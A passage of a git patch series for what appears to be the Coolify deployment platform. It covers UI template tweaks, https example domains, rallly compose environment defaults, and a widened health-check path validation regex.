+                                                <x-forms.button @click="modalOpen = false; $wire.call('cancelRemovePort')"
+                                                    class="w-auto dark:bg-coolgray-200 dark:hover:bg-coolgray-300">
+                                                    Cancel - Keep Port
+                                                </x-forms.button>
+                                                <x-forms.button wire:click="confirmRemovePort" @click="modalOpen = false" class="w-auto"
+                                                    isError>
+                                                    I understand, remove port anyway
+                                                </x-forms.button>
+                                            </div>
                                         </div>
                                     </div>
                                 </div>
-                            </div>
-                        </template>
-                    </div>
+                            </template>
+                        </div>
+                    @endif
                 @endif
             @elseif ($resourceType === 'database')
                 <x-slot:title>
@@ -178,6 +184,17 @@ class="w-auto dark:bg-coolgray-200 dark:hover:bg-coolgray-300">
                 </x-slot>
                 @if ($currentRoute === 'project.service.database.import')
                     <livewire:project.database.import :resource="$serviceDatabase" :key="'import-' . $serviceDatabase->uuid" />
+                @elseif ($currentRoute === 'project.service.index.advanced')
+                    <h2>Advanced</h2>
+                    <div class="w-96 flex flex-col gap-1 pt-4">
+                        <x-forms.checkbox canGate="update" :canResource="$serviceDatabase" instantSave="instantSaveExclude"
+                            label="Exclude from service status"
+                            helper="If you do not need to monitor this resource, enable. Useful if this service is optional."
+                            id="excludeFromStatus"></x-forms.checkbox>
+                        <x-forms.checkbox canGate="update" :canResource="$serviceDatabase"
+                            helper="Drain logs to your configured log drain endpoint in your Server settings."
+                            instantSave="instantSaveLogDrain" id="isLogDrainEnabled" label="Drain Logs" />
+                    </div>
                 @else
                     <form wire:submit='submitDatabase'>
                         <div class="flex items-center gap-2 pb-4">
@@ -242,16 +259,6 @@ class="w-auto dark:bg-coolgray-200 dark:hover:bg-coolgray-300">
                                 @endif
                             </div>
                         </div>
-                        <h3 class="pt-2">Advanced</h3>
-                        <div class="w-96">
-                            <x-forms.checkbox canGate="update" :canResource="$serviceDatabase" instantSave="instantSaveExclude"
-                                label="Exclude from service status"
-                                helper="If you do not need to monitor this resource, enable. Useful if this service is optional."
-                                id="excludeFromStatus"></x-forms.checkbox>
-                            <x-forms.checkbox canGate="update" :canResource="$serviceDatabase"
-                                helper="Drain logs to your configured log drain endpoint in your Server settings."
-                                instantSave="instantSaveLogDrain" id="isLogDrainEnabled" label="Drain Logs" />
-                        </div>
                     </form>
                 @endif
             @endif
diff --git a/routes/web.php b/routes/web.php
index 26863aa17..7ccfb709a 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -262,6 +262,7 @@
         Route::get('/terminal', ExecuteContainerCommand::class)->name('project.service.command')->middleware('can.access.terminal');
         Route::get('/{stack_service_uuid}/backups', ServiceDatabaseBackups::class)->name('project.service.database.backups');
         Route::get('/{stack_service_uuid}/import', ServiceIndex::class)->name('project.service.database.import')->middleware('can.update.resource');
+        Route::get('/{stack_service_uuid}/advanced', ServiceIndex::class)->name('project.service.index.advanced');
         Route::get('/{stack_service_uuid}', ServiceIndex::class)->name('project.service.index');
         Route::get('/tasks/{task_uuid}', ScheduledTaskShow::class)->name('project.service.scheduled-tasks');
     });

From 49ffbb9429bb7f0d2788f8f11a4834b4fb56fc1d Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Wed, 18 Mar 2026 12:09:52 +0530
Subject: [PATCH 007/102] fix(ui): changed required port callout from warning
 to info

it's basically an info for the end user about the port requirement, in the past we had some users confused by it like their domain works fine even without port number while the service port is 80
---
 resources/views/livewire/project/service/edit-domain.blade.php | 2 +-
 resources/views/livewire/project/service/index.blade.php       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/resources/views/livewire/project/service/edit-domain.blade.php b/resources/views/livewire/project/service/edit-domain.blade.php
index 0691146f6..c04718df7 100644
--- a/resources/views/livewire/project/service/edit-domain.blade.php
+++ b/resources/views/livewire/project/service/edit-domain.blade.php
@@ -1,7 +1,7 @@
 <div class="w-full">
     <form wire:submit.prevent='submit' class="flex flex-col w-full gap-2">
         @if($requiredPort)
-            <x-callout type="warning" title="Required Port: {{ $requiredPort }}" class="mb-2">
+            <x-callout type="info" title="Required Port: {{ $requiredPort }}" class="mb-2">
                 This service requires port <strong>{{ $requiredPort }}</strong> to function correctly. All domains must include this port number (or any other port if you know what you're doing).
                 <br><br>
                 <strong>Example:</strong> http://app.coolify.io:{{ $requiredPort }}
diff --git a/resources/views/livewire/project/service/index.blade.php b/resources/views/livewire/project/service/index.blade.php
index 50bb8d017..a7e06bdad 100644
--- a/resources/views/livewire/project/service/index.blade.php
+++ b/resources/views/livewire/project/service/index.blade.php
@@ -74,7 +74,7 @@ class="{{ request()->routeIs('project.service.configuration') ? 'menu-item-activ
                         </div>
                         <div class="flex flex-col gap-2">
                             @if ($requiredPort && !$serviceApplication->serviceType()?->contains(str($serviceApplication->image)->before(':')))
-                                <x-callout type="warning" title="Required Port: {{ $requiredPort }}" class="mb-2">
+                                <x-callout type="info" title="Required Port: {{ $requiredPort }}" class="mb-2">
                                     This service requires port <strong>{{ $requiredPort }}</strong> to function correctly. All domains must include this port number (or any other port if you know what you're doing).
                                     <br><br>
                                     <strong>Example:</strong> http://app.coolify.io:{{ $requiredPort }}

From 820f699853cfc93306156d120c22d23cddd104c5 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Wed, 18 Mar 2026 12:53:24 +0530
Subject: [PATCH 008/102] fix(ui): updated example domains on helper text to be
 https instead of http

we were setting a bad example by showing http because user will enter their domain in http and wonder why they cannot access their site over https, also user don't know how to use multiple domains with port numbers so covered it on this change as well
---
 app/Http/Controllers/Api/ApplicationsController.php       | 8 ++++----
 app/Http/Controllers/Api/ServicesController.php           | 4 ++--
 .../views/livewire/project/application/general.blade.php  | 4 ++--
 .../views/livewire/project/service/edit-domain.blade.php  | 4 ++--
 resources/views/livewire/project/service/index.blade.php  | 6 +++---
 5 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index 6188651a1..e3e06dd26 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -214,7 +214,7 @@ public function applications(Request $request)
                                     type: 'object',
                                     properties: [
                                         'name' => ['type' => 'string', 'description' => 'The service name as defined in docker-compose.'],
-                                        'domain' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io")'],
+                                        'domain' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io")'],
                                     ],
                                 ),
                             ],
@@ -379,7 +379,7 @@ public function create_public_application(Request $request)
                                     type: 'object',
                                     properties: [
                                         'name' => ['type' => 'string', 'description' => 'The service name as defined in docker-compose.'],
-                                        'domain' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io")'],
+                                        'domain' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io")'],
                                     ],
                                 ),
                             ],
@@ -544,7 +544,7 @@ public function create_private_gh_app_application(Request $request)
                                     type: 'object',
                                     properties: [
                                         'name' => ['type' => 'string', 'description' => 'The service name as defined in docker-compose.'],
-                                        'domain' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io")'],
+                                        'domain' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io")'],
                                     ],
                                 ),
                             ],
@@ -2378,7 +2378,7 @@ public function delete_by_uuid(Request $request)
                                     type: 'object',
                                     properties: [
                                         'name' => ['type' => 'string', 'description' => 'The service name as defined in docker-compose.'],
-                                        'domain' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io")'],
+                                        'domain' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io")'],
                                     ],
                                 ),
                             ],
diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php
index 32097443e..107eea9a6 100644
--- a/app/Http/Controllers/Api/ServicesController.php
+++ b/app/Http/Controllers/Api/ServicesController.php
@@ -217,7 +217,7 @@ public function services(Request $request)
                                 type: 'object',
                                 properties: [
                                     'name' => ['type' => 'string', 'description' => 'The service name as defined in docker-compose.'],
-                                    'url' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io").'],
+                                    'url' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io").'],
                                 ],
                             ),
                         ],
@@ -839,7 +839,7 @@ public function delete_by_uuid(Request $request)
                                     type: 'object',
                                     properties: [
                                         'name' => ['type' => 'string', 'description' => 'The service name as defined in docker-compose.'],
-                                        'url' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io").'],
+                                        'url' => ['type' => 'string', 'description' => 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io").'],
                                     ],
                                 ),
                             ],
diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php
index aada339cc..22a1d29b2 100644
--- a/resources/views/livewire/project/application/general.blade.php
+++ b/resources/views/livewire/project/application/general.blade.php
@@ -54,7 +54,7 @@
                                 @if (!isDatabaseImage(data_get($service, 'image')))
                                     <div class="flex items-end gap-2">
                                         <x-forms.input
-                                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "
+                                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- https://app.coolify.io,https://cloud.coolify.io/dashboard<br>- https://app.coolify.io/api/v3<br>- https://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "
                                             label="Domains for {{ $serviceName }}"
                                             id="parsedServiceDomains.{{ str($serviceName)->replace('-', '_')->replace('.', '_') }}.domain"
                                             x-bind:disabled="shouldDisable()"></x-forms.input>
@@ -106,7 +106,7 @@
                             x-bind:disabled="!canUpdate" />
                     @else
                         <x-forms.input placeholder="https://coolify.io" wire:model="fqdn" label="Domains"
-                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "
+                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- https://app.coolify.io,https://cloud.coolify.io/dashboard<br>- https://app.coolify.io/api/v3<br>- https://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "
                             x-bind:disabled="!canUpdate" />
                         @can('update', $application)
                             <x-forms.button wire:click="getWildcardDomain">Generate Domain
diff --git a/resources/views/livewire/project/service/edit-domain.blade.php b/resources/views/livewire/project/service/edit-domain.blade.php
index c04718df7..375dc9728 100644
--- a/resources/views/livewire/project/service/edit-domain.blade.php
+++ b/resources/views/livewire/project/service/edit-domain.blade.php
@@ -4,13 +4,13 @@
             <x-callout type="info" title="Required Port: {{ $requiredPort }}" class="mb-2">
                 This service requires port <strong>{{ $requiredPort }}</strong> to function correctly. All domains must include this port number (or any other port if you know what you're doing).
                 <br><br>
-                <strong>Example:</strong> http://app.coolify.io:{{ $requiredPort }}
+                <strong>Example:</strong> https://app.coolify.io:{{ $requiredPort }},https://www.app.coolify.io:{{ $requiredPort }}
             </x-callout>
         @endif
 
         <x-forms.input canGate="update" :canResource="$application" placeholder="https://app.coolify.io" label="Domains"
             id="fqdn"
-            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
+            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- https://app.coolify.io,https://cloud.coolify.io/dashboard<br>- https://app.coolify.io/api/v3<br>- https://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
         <x-forms.button canGate="update" :canResource="$application" type="submit">Save</x-forms.button>
     </form>
 
diff --git a/resources/views/livewire/project/service/index.blade.php b/resources/views/livewire/project/service/index.blade.php
index a7e06bdad..7cb61935f 100644
--- a/resources/views/livewire/project/service/index.blade.php
+++ b/resources/views/livewire/project/service/index.blade.php
@@ -77,7 +77,7 @@ class="{{ request()->routeIs('project.service.configuration') ? 'menu-item-activ
                                 <x-callout type="info" title="Required Port: {{ $requiredPort }}" class="mb-2">
                                     This service requires port <strong>{{ $requiredPort }}</strong> to function correctly. All domains must include this port number (or any other port if you know what you're doing).
                                     <br><br>
-                                    <strong>Example:</strong> http://app.coolify.io:{{ $requiredPort }}
+                                    <strong>Example:</strong> https://app.coolify.io:{{ $requiredPort }},https://www.app.coolify.io:{{ $requiredPort }}
                                 </x-callout>
                             @endif
 
@@ -92,11 +92,11 @@ class="{{ request()->routeIs('project.service.configuration') ? 'menu-item-activ
                                     @if ($serviceApplication->required_fqdn)
                                         <x-forms.input canGate="update" :canResource="$serviceApplication" required placeholder="https://app.coolify.io"
                                             label="Domains" id="fqdn"
-                                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
+                                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- https://app.coolify.io,https://cloud.coolify.io/dashboard<br>- https://app.coolify.io/api/v3<br>- https://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
                                     @else
                                         <x-forms.input canGate="update" :canResource="$serviceApplication" placeholder="https://app.coolify.io"
                                             label="Domains" id="fqdn"
-                                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
+                                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- https://app.coolify.io,https://cloud.coolify.io/dashboard<br>- https://app.coolify.io/api/v3<br>- https://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
                                     @endif
                                 @endif
                                 <x-forms.input canGate="update" :canResource="$serviceApplication"

From 3afc1d46dea06ebe1a7e931ff12d000b1f269a76 Mon Sep 17 00:00:00 2001
From: Mattia Trapani <mattia.trapani@gmail.com>
Date: Thu, 19 Mar 2026 16:08:39 +0100
Subject: [PATCH 009/102] Fix environment variable defaults in rallly.yaml

- SERVICE_URL already includes protocol
- SMTP_SECURE and SMTP_TLS_ENABLED need a default value
---
 templates/compose/rallly.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/templates/compose/rallly.yaml b/templates/compose/rallly.yaml
index 0dfc84c56..477dd6a5d 100644
--- a/templates/compose/rallly.yaml
+++ b/templates/compose/rallly.yaml
@@ -32,15 +32,15 @@ services:
       - SERVICE_URL_RALLLY_3000
       - DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@rallly_db:5432/${POSTGRES_DB:-rallly}
       - SECRET_PASSWORD=${SERVICE_PASSWORD_64_RALLLY}
-      - NEXT_PUBLIC_BASE_URL=https://${SERVICE_URL_RALLLY}
+      - NEXT_PUBLIC_BASE_URL=${SERVICE_URL_RALLLY}
       - ALLOWED_EMAILS=${ALLOWED_EMAILS}
       - SUPPORT_EMAIL=${SUPPORT_EMAIL:-support@example.com}
       - SMTP_HOST=${SMTP_HOST}
       - SMTP_PORT=${SMTP_PORT}
-      - SMTP_SECURE=${SMTP_SECURE}
+      - SMTP_SECURE=${SMTP_SECURE:-false}
       - SMTP_USER=${SMTP_USER}
       - SMTP_PWD=${SMTP_PWD}
-      - SMTP_TLS_ENABLED=${SMTP_TLS_ENABLED}
+      - SMTP_TLS_ENABLED=${SMTP_TLS_ENABLED:-false}
     healthcheck:
       test: ["CMD-SHELL", "bash -c ':> /dev/tcp/127.0.0.1/3000' || exit 1"]
       interval: 5s

From 485a57fb1b2319f3b02991bb13f28cb40f8bbe01 Mon Sep 17 00:00:00 2001
From: Mattia Trapani <mattia.trapani@gmail.com>
Date: Thu, 19 Mar 2026 16:11:50 +0100
Subject: [PATCH 010/102] SMTP_TLS_ENABLED deprecated

---
 templates/compose/rallly.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/templates/compose/rallly.yaml b/templates/compose/rallly.yaml
index 477dd6a5d..45cb51aff 100644
--- a/templates/compose/rallly.yaml
+++ b/templates/compose/rallly.yaml
@@ -40,7 +40,6 @@ services:
       - SMTP_SECURE=${SMTP_SECURE:-false}
       - SMTP_USER=${SMTP_USER}
       - SMTP_PWD=${SMTP_PWD}
-      - SMTP_TLS_ENABLED=${SMTP_TLS_ENABLED:-false}
     healthcheck:
       test: ["CMD-SHELL", "bash -c ':> /dev/tcp/127.0.0.1/3000' || exit 1"]
       interval: 5s

From b18de3af9a516122b70f500fb04a61ad3f1a48f8 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Sat, 28 Mar 2026 16:31:12 +0530
Subject: [PATCH 011/102] fix(healthcheck): accept comma and semicolon in
 health check path validation

---
 app/Jobs/ApplicationDeploymentJob.php        | 2 +-
 app/Livewire/Project/Shared/HealthChecks.php | 4 ++--
 bootstrap/helpers/api.php                    | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 785e8c8e3..6fe89786f 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -2848,7 +2848,7 @@ private function generate_healthcheck_commands()
         $scheme = $this->sanitizeHealthCheckValue($this->application->health_check_scheme, '/^https?$/', 'http');
         $host = $this->sanitizeHealthCheckValue($this->application->health_check_host, '/^[a-zA-Z0-9.\-_]+$/', 'localhost');
         $path = $this->application->health_check_path
-            ? $this->sanitizeHealthCheckValue($this->application->health_check_path, '#^[a-zA-Z0-9/\-_.~%]+$#', '/')
+            ? $this->sanitizeHealthCheckValue($this->application->health_check_path, '#^[a-zA-Z0-9/\-_.~%,;]+$#', '/')
             : null;
 
         $url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/'));
diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php
index 0d5d71b45..195e7fd92 100644
--- a/app/Livewire/Project/Shared/HealthChecks.php
+++ b/app/Livewire/Project/Shared/HealthChecks.php
@@ -34,7 +34,7 @@ class HealthChecks extends Component
     #[Validate(['nullable', 'integer', 'min:1', 'max:65535'])]
     public ?string $healthCheckPort = null;
 
-    #[Validate(['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'])]
+    #[Validate(['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%,;]+$#'])]
     public string $healthCheckPath;
 
     #[Validate(['integer'])]
@@ -62,7 +62,7 @@ class HealthChecks extends Component
         'healthCheckEnabled' => 'boolean',
         'healthCheckType' => 'string|in:http,cmd',
         'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
-        'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
+        'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%,;]+$#'],
         'healthCheckPort' => 'nullable|integer|min:1|max:65535',
         'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
         'healthCheckMethod' => 'required|string|in:GET,HEAD,POST,OPTIONS',
diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php
index ec42761f7..fc4c58bb8 100644
--- a/bootstrap/helpers/api.php
+++ b/bootstrap/helpers/api.php
@@ -106,7 +106,7 @@ function sharedDataApplications()
         'health_check_enabled' => 'boolean',
         'health_check_type' => 'string|in:http,cmd',
         'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
-        'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
+        'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%,;]+$#'],
         'health_check_port' => 'integer|nullable|min:1|max:65535',
         'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
         'health_check_method' => 'string|in:GET,HEAD,POST,OPTIONS',

From 987f49b6d1eebeacb614ab173899fd5c03a62ae0 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Sat, 28 Mar 2026 18:22:31 +0530
Subject: [PATCH 012/102] feat(ui): display memory limit fields in single row

---
 .../project/shared/resource-limits.blade.php  | 32 ++++++++-----------
 1 file changed, 14 insertions(+), 18 deletions(-)

diff --git a/resources/views/livewire/project/shared/resource-limits.blade.php b/resources/views/livewire/project/shared/resource-limits.blade.php
index 99ff249e9..e3a821003 100644
--- a/resources/views/livewire/project/shared/resource-limits.blade.php
+++ b/resources/views/livewire/project/shared/resource-limits.blade.php
@@ -18,24 +18,20 @@
                 label="CPU Weight" id="limitsCpuShares" />
         </div>
         <h3 class="pt-4">Limit Memory</h3>
-        <div class="flex flex-col gap-2">
-            <div class="flex gap-2">
-                <x-forms.input canGate="update" :canResource="$resource"
-                    helper="Examples: 69b (byte) or 420k (kilobyte) or 1337m (megabyte) or 1g (gigabyte).<br>More info <a class='underline dark:text-white' target='_blank' href='https://docs.docker.com/compose/compose-file/05-services/#mem_reservation'>here</a>."
-                    label="Soft Memory Limit" id="limitsMemoryReservation" />
-                <x-forms.input canGate="update" :canResource="$resource"
-                    helper="0-100.<br>More info <a class='underline dark:text-white' target='_blank' href='https://docs.docker.com/compose/compose-file/05-services/#mem_swappiness'>here</a>."
-                    type="number" min="0" max="100" label="Swappiness"
-                    id="limitsMemorySwappiness" />
-            </div>
-            <div class="flex gap-2">
-                <x-forms.input canGate="update" :canResource="$resource"
-                    helper="Examples: 69b (byte) or 420k (kilobyte) or 1337m (megabyte) or 1g (gigabyte).<br>More info <a class='underline dark:text-white' target='_blank' href='https://docs.docker.com/compose/compose-file/05-services/#mem_limit'>here</a>."
-                    label="Maximum Memory Limit" id="limitsMemory" />
-                <x-forms.input canGate="update" :canResource="$resource"
-                    helper="Examples:69b (byte) or 420k (kilobyte) or 1337m (megabyte) or 1g (gigabyte).<br>More info <a class='underline dark:text-white' target='_blank' href='https://docs.docker.com/compose/compose-file/05-services/#memswap_limit'>here</a>."
-                    label="Maximum Swap Limit" id="limitsMemorySwap" />
-            </div>
+        <div class="flex gap-2">
+            <x-forms.input canGate="update" :canResource="$resource"
+                helper="<span class='text-helper'>Examples</span><br>• 69b (byte)<br>• 420k (kilobyte)<br>• 1337m (megabyte)<br>• 1g (gigabyte)<br><br>More info <a class='underline dark:text-white' target='_blank' href='https://docs.docker.com/compose/compose-file/05-services/#mem_reservation'>here</a>."
+                label="Soft Memory Limit" id="limitsMemoryReservation" />
+            <x-forms.input canGate="update" :canResource="$resource"
+                helper="Value between 0-100.<br><br>More info <a class='underline dark:text-white' target='_blank' href='https://docs.docker.com/compose/compose-file/05-services/#mem_swappiness'>here</a>."
+                type="number" min="0" max="100" label="Swappiness"
+                id="limitsMemorySwappiness" />
+            <x-forms.input canGate="update" :canResource="$resource"
+                helper="<span class='text-helper'>Examples</span><br>• 69b (byte)<br>• 420k (kilobyte)<br>• 1337m (megabyte)<br>• 1g (gigabyte)<br><br>More info <a class='underline dark:text-white' target='_blank' href='https://docs.docker.com/compose/compose-file/05-services/#mem_limit'>here</a>."
+                label="Maximum Memory Limit" id="limitsMemory" />
+            <x-forms.input canGate="update" :canResource="$resource"
+                helper="<span class='text-helper'>Examples</span><br>• 69b (byte)<br>• 420k (kilobyte)<br>• 1337m (megabyte)<br>• 1g (gigabyte)<br><br>More info <a class='underline dark:text-white' target='_blank' href='https://docs.docker.com/compose/compose-file/05-services/#memswap_limit'>here</a>."
+                label="Maximum Swap Limit" id="limitsMemorySwap" />
         </div>
     </form>
 </div>

From 4fd90171eb04ac393d27a32d9b97ff483ced7c8a Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Sat, 28 Mar 2026 18:57:07 +0530
Subject: [PATCH 013/102] feat(ui): add info callout to clone resource section
 about excluded items

---
 .../livewire/project/shared/resource-operations.blade.php      | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/resources/views/livewire/project/shared/resource-operations.blade.php b/resources/views/livewire/project/shared/resource-operations.blade.php
index 573f70ba0..658a7cbd3 100644
--- a/resources/views/livewire/project/shared/resource-operations.blade.php
+++ b/resources/views/livewire/project/shared/resource-operations.blade.php
@@ -63,6 +63,9 @@
     }">
         <h3 class="pt-4">Clone Resource</h3>
         <div class="pb-2">Duplicate this resource to another server or network destination.</div>
+        <x-callout type="info" title="Important" class="mb-4">
+            Cloning only duplicates resource configuration (such as environment variables, build settings etc..). It does not include any resource data, such as databases or stored files.
+        </x-callout>
 
         @can('update', $resource)
             <div class="space-y-4 pb-8">

From 1a59c4c7c964f6f01a90270a103733c2ac2d15e0 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Sat, 28 Mar 2026 19:25:50 +0530
Subject: [PATCH 014/102] feat(ui): categorize application advanced settings
 into logical sections

---
 .../project/application/advanced.blade.php    | 100 +++++++++---------
 1 file changed, 51 insertions(+), 49 deletions(-)

diff --git a/resources/views/livewire/project/application/advanced.blade.php b/resources/views/livewire/project/application/advanced.blade.php
index 907500dfa..a9f8c7233 100644
--- a/resources/views/livewire/project/application/advanced.blade.php
+++ b/resources/views/livewire/project/application/advanced.blade.php
@@ -5,19 +5,7 @@
         </div>
         <div>Advanced configuration for your application.</div>
         <div class="flex flex-col gap-1 pt-4">
-            <h3>General</h3>
-            @if ($application->git_based())
-                <x-forms.checkbox helper="Automatically deploy new commits based on Git webhooks." instantSave
-                    id="isAutoDeployEnabled" label="Auto Deploy" canGate="update" :canResource="$application" />
-                <x-forms.checkbox
-                    helper="Allow to automatically deploy Preview Deployments for all opened PR's.<br><br>Closing a PR will delete Preview Deployments."
-                    instantSave id="isPreviewDeploymentsEnabled" label="Preview Deployments" canGate="update"
-                    :canResource="$application" />
-                <x-forms.checkbox
-                    helper="When enabled, anyone can trigger PR deployments. When disabled, only repository members, collaborators, and contributors can trigger PR deployments."
-                    instantSave id="isPrDeploymentsPublicEnabled" label="Allow Public PR Deployments" canGate="update"
-                    :canResource="$application" :disabled="!$isPreviewDeploymentsEnabled" />
-            @endif
+            <h3>Build</h3>
             <x-forms.checkbox helper="Disable Docker build cache on every deployment." instantSave
                 id="disableBuildCache" label="Disable Build Cache" canGate="update" :canResource="$application" />
             <x-forms.checkbox
@@ -29,6 +17,55 @@
                 instantSave id="includeSourceCommitInBuild" label="Include Source Commit in Build" canGate="update"
                 :canResource="$application" />
 
+            <h3 class="pt-4">Container</h3>
+            <x-forms.checkbox
+                helper="The deployed container will have the same name ({{ $application->uuid }}). <span class='font-bold dark:text-warning'>You will lose the rolling update feature!</span>"
+                instantSave id="isConsistentContainerNameEnabled" label="Consistent Container Names" canGate="update"
+                :canResource="$application" />
+            @if ($isConsistentContainerNameEnabled === false)
+                <form class="flex items-end gap-2 " wire:submit.prevent='saveCustomName'>
+                    <x-forms.input
+                        helper="You can add a custom name for your container.<br><br>The name will be converted to slug format when you save it. <span class='font-bold dark:text-warning'>You will lose the rolling update feature!</span>"
+                        instantSave id="customInternalName" label="Custom Container Name" canGate="update"
+                        :canResource="$application" />
+                    <x-forms.button canGate="update" :canResource="$application" type="submit">Save</x-forms.button>
+                </form>
+            @endif
+
+            @if ($application->git_based())
+                <h3 class="pt-4">Deployment</h3>
+                <x-forms.checkbox helper="Automatically deploy new commits based on Git webhooks." instantSave
+                    id="isAutoDeployEnabled" label="Auto Deploy" canGate="update" :canResource="$application" />
+                <x-forms.checkbox
+                    helper="Allow to automatically deploy Preview Deployments for all opened PR's.<br><br>Closing a PR will delete Preview Deployments."
+                    instantSave id="isPreviewDeploymentsEnabled" label="Preview Deployments" canGate="update"
+                    :canResource="$application" />
+                <x-forms.checkbox
+                    helper="When enabled, anyone can trigger PR deployments. When disabled, only repository members, collaborators, and contributors can trigger PR deployments."
+                    instantSave id="isPrDeploymentsPublicEnabled" label="Allow Public PR Deployments" canGate="update"
+                    :canResource="$application" :disabled="!$isPreviewDeploymentsEnabled" />
+
+                <h3 class="pt-4">Git</h3>
+                <x-forms.checkbox instantSave id="isGitSubmodulesEnabled" label="Submodules"
+                    helper="Allow Git Submodules during build process." canGate="update" :canResource="$application" />
